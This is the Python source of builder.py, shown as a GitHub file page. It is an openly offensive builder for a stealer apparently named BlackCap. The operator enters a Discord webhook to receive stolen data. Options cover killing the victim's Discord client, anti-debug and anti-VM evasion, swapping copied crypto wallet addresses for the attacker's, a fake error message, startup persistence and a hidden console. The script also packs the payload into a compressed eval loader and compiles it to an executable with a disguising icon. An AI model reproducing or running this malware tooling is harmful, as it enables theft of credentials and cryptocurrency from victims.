-
Notifications
You must be signed in to change notification settings - Fork 21
/
builder.py
433 lines (370 loc) · 16.7 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
import os
import random
import shutil
import subprocess
import sys
import time
from json import load
from urllib.request import urlopen
from zlib import compress
import requests
from alive_progress import alive_bar
from colorama import Fore, Style, init
class Builder:
def __init__(self) -> None:
if not self.check():
exit()
self.webhook = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your webhook: "
)
if not self.check_webhook(self.webhook):
print(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}"
)
str(
input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit..."
)
)
sys.exit()
self.filename = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your custom output .exe name: "
)
self.killprocess = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Kill victim Discord Client? (yes/no): "
)
if self.killprocess.lower() == "y" or self.killprocess.lower() == "yes":
self.killprocess = True
else:
self.killprocess = False
self.dbugkiller = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enable Anti-Debug (Recommand yes, Kill Virus-Total Machines / Virtual Machines or other)? (yes/no): "
)
if self.dbugkiller.lower() == "y" or self.dbugkiller.lower() == "yes":
self.dbugkiller = True
else:
self.dbugkiller = False
self.ping = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping on new victim? (yes/no): "
)
if self.ping.lower() == "y":
self.ping = "yes"
if self.ping.lower() == "yes":
self.ping = "yes"
self.pingtype = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping type? (here/everyone): "
).lower()
if self.pingtype not in ["here", "everyone"]:
self.pingtype == "here"
else:
self.ping = "no"
self.pingtype = "none"
self.address_replacer = input(
f"{Fore.CYAN}[{Fore.RESET}NEW{Fore.CYAN}]{Fore.RESET} Replace all copied crypto address wallet by your address ? (yes/no): "
)
if self.address_replacer.lower() == "yes":
self.address_replacer = "yes"
self.btc_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Bitcoin Address (let empty if you do not have): "
).lower()
if not self.btc_address.lower():
self.btc_address = "none"
self.eth_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ethereum Address (let empty if you do not have):"
).lower()
if not self.eth_address.lower():
self.eth_address = "0x4c305D9d4CdF740FF4f2166ecF65c1DF73e93472"
self.xchain_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your X-Chain Address (let empty if you do not have):"
).lower()
if not self.xchain_address.lower():
self.xchain_address = "none"
self.pchain_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your P-Chain Address (let empty if you do not have):"
).lower()
if not self.pchain_address.lower():
self.pchain_address = "none"
self.cchain_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your C-Chain Address (let empty if you do not have):"
).lower()
if not self.cchain_address.lower():
self.cchain_address = "none"
self.monero_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Monero Address (let empty if you do not have):"
).lower()
if not self.monero_address.lower():
self.monero_address = "none"
self.ada_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ada/Cardano Address (let empty if you do not have):"
).lower()
if not self.ada_address.lower():
self.ada_address = "none"
self.dash_address = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Dash Address (let empty if you do not have):"
).lower()
if not self.dash_address.lower():
self.dash_address = "none"
else:
self.address_replacer = "no"
self.btc_address = "none"
self.eth_address = "none"
self.xchain_address = "none"
self.pchain_address = "none"
self.cchain_address = "none"
self.monero_address = "none"
self.dash_address = "none"
self.ada_address = "none"
self.error = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add a fake error? (yes/no): "
)
if self.error.lower() == "y" or self.error.lower() == "yes":
self.error = "yes"
else:
self.error = "no"
self.startup = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add file to startup? (yes/no): "
)
if self.startup.lower() == "y" or self.startup.lower() == "yes":
self.startup = "yes"
else:
self.startup = "no"
self.hider = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Hide BlackCap console for victim? (yes/no): "
)
if self.hider.lower() == "yes" or self.hider.lower() == "y":
self.hider = "yes"
else:
self.hider = False
self.obfuscation = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand no if yes script will be detected)? (yes/no): "
)
self.compy = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to compile the file to a .exe? (yes/no): "
)
if self.compy == "yes":
self.icon = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to add an icon to the .exe (yes/no): "
)
if self.icon == "yes":
self.icon_exe()
else:
pass
else:
pass
self.mk_file(self.filename, self.webhook)
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} File successfully created!{Fore.RESET}"
)
self.cleanup(self.filename)
self.renamefile(self.filename)
run = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to test the file? [yes/no]: "
)
if run.lower() == "yes" or run.lower() == "y":
self.run(self.filename)
input(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Press enter to exit...{Fore.RESET}"
)
sys.exit()
def check_webhook(self, webhook):
try:
with requests.get(webhook) as r:
if r.status_code == 200:
return True
else:
return False
except BaseException:
return False
def check(self):
required_files = {"./main.py", "./requirements.txt", "./obfuscation.py"}
for file in required_files:
if not os.path.isfile(file):
print(
f"{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] {file} not found!"
)
return False
try:
print(subprocess.check_output("python -V", stderr=subprocess.STDOUT))
print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT))
except subprocess.CalledProcessError:
print(
f"{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] Python not found!"
)
return False
os.system("pip install --upgrade -r requirements.txt")
os.system("cls")
os.system("mode con:cols=150 lines=20")
return True
def icon_exe(self):
self.icon_name = input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter the name of the icon: "
)
if os.path.isfile(f"./{self.icon_name}"):
pass
else:
print(
f"{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon not found! Please check the name and make sure it's in the current directory."
)
input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit..."
)
if self.icon_name.endswith(".ico"):
pass
else:
print(
f"{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon must have .ico extension! Please convert it and try again."
)
input(
f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit..."
)
def renamefile(self, filename):
try:
os.rename(f"./obfuscated_compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
try:
os.rename(f"./obfuscated_compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
def mk_file(self, filename, webhook):
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Generating source code...{Fore.RESET}"
)
with open("./main.py", "r", encoding="utf-8") as f:
code = f.read()
with open(f"{filename}.py", "w", encoding="utf-8") as f:
f.write(
code.replace("%WEBHOOK_HERE%", webhook)
.replace("%ping_enabled%", str(self.ping))
.replace("%ping_type%", self.pingtype)
.replace("%_address_replacer%", str(self.address_replacer))
.replace("%_btc_address%", self.btc_address)
.replace("%_eth_address%", self.eth_address)
.replace("%_xchain_address%", self.xchain_address)
.replace("%_pchain_address%", self.pchain_address)
.replace("%_cchain_address%", self.cchain_address)
.replace("%_monero_address%", self.monero_address)
.replace("%_ada_address%", self.ada_address)
.replace("%_dash_address%", self.dash_address)
.replace("%_error_enabled%", str(self.error))
.replace("%_startup_enabled%", str(self.startup))
.replace("%_hide_script%", str(self.hider))
.replace("'%kill_discord_process%'", str(self.killprocess))
.replace("'%_debugkiller%'", str(self.dbugkiller))
)
time.sleep(2)
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}"
)
with open(f"{filename}.py", mode="rb") as f:
content = f.read()
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Compressing Code...{Fore.RESET}"
)
original_size = len(content)
content = self.compress(content)
new_size = len(content)
with open(
file="compressed_"
+ (
filename.split("\\")[-1]
if "\\" in filename
else filename.split("/")[-1]
)
+ ".py",
mode="w",
encoding="utf-8",
) as f:
f.write(content)
if self.obfuscation == "no" and self.compy == "yes":
f.write(
"\nimport asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData"
)
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Old file size: {original_size} bytes - New file size: {new_size} bytes {Fore.RESET}"
)
if self.obfuscation == "yes" and self.compy == "yes":
self.encryption(f"{filename}")
self.compile(f"obfuscated_{filename}")
elif self.obfuscation == "no" and self.compy == "yes":
self.compile(f"{filename}")
elif self.obfuscation == "yes" and self.compy == "no":
self.encryption(f"{filename}")
else:
pass
def compress(self, content):
compressed_code = compress(content)
return f"eval(compile(__import__('zlib').decompress({compressed_code}),filename='auoiwhgoawhg',mode='exec'))"
def encryption(self, filename):
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}"
)
os.system(f"python obfuscation.py {filename}.py")
def compile(self, filename):
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}"
)
if self.icon == "yes":
icon = self.icon_name
else:
icon = "NONE"
os.system(
f"python -m PyInstaller --onefile --noconsole -i {icon} --distpath ./ .\\{filename}.py"
)
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}"
)
def run(self, filename):
print(
f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Attempting to execute file..."
)
if os.path.isfile(f"./{filename}.exe"):
os.system(f"start ./{filename}.exe")
elif os.path.isfile(f"./{filename}.py"):
os.system(f"python ./{filename}.py")
def cleanup(self, filename):
cleans_dir = {"./__pycache__", "./build"}
cleans_file = {
f"./{filename}.py",
f"./obfuscated_compressed_{filename}.py",
f"./compressed_{filename}.py",
f"./compressed_{filename}.spec",
}
if self.obfuscation == "yes" and self.compy == "no":
cleans_file.remove(f"./obfuscated_compressed_{filename}.py")
elif self.obfuscation == "yes" and self.compy == "yes":
cleans_file.add(f"./obfuscated_compressed_{filename}.spec")
elif self.obfuscation == "no" and self.compy == "no":
cleans_file.remove(f"./{filename}.py")
else:
pass
for clean in cleans_dir:
try:
if os.path.isdir(clean):
shutil.rmtree(clean)
except Exception:
pass
continue
for clean in cleans_file:
try:
if os.path.isfile(clean):
os.remove(clean)
except Exception:
pass
continue
if __name__ == "__main__":
init()
if os.name != "nt":
os.system("clear")
else:
os.system("mode con:cols=212 lines=212")
os.system("cls")
Builder()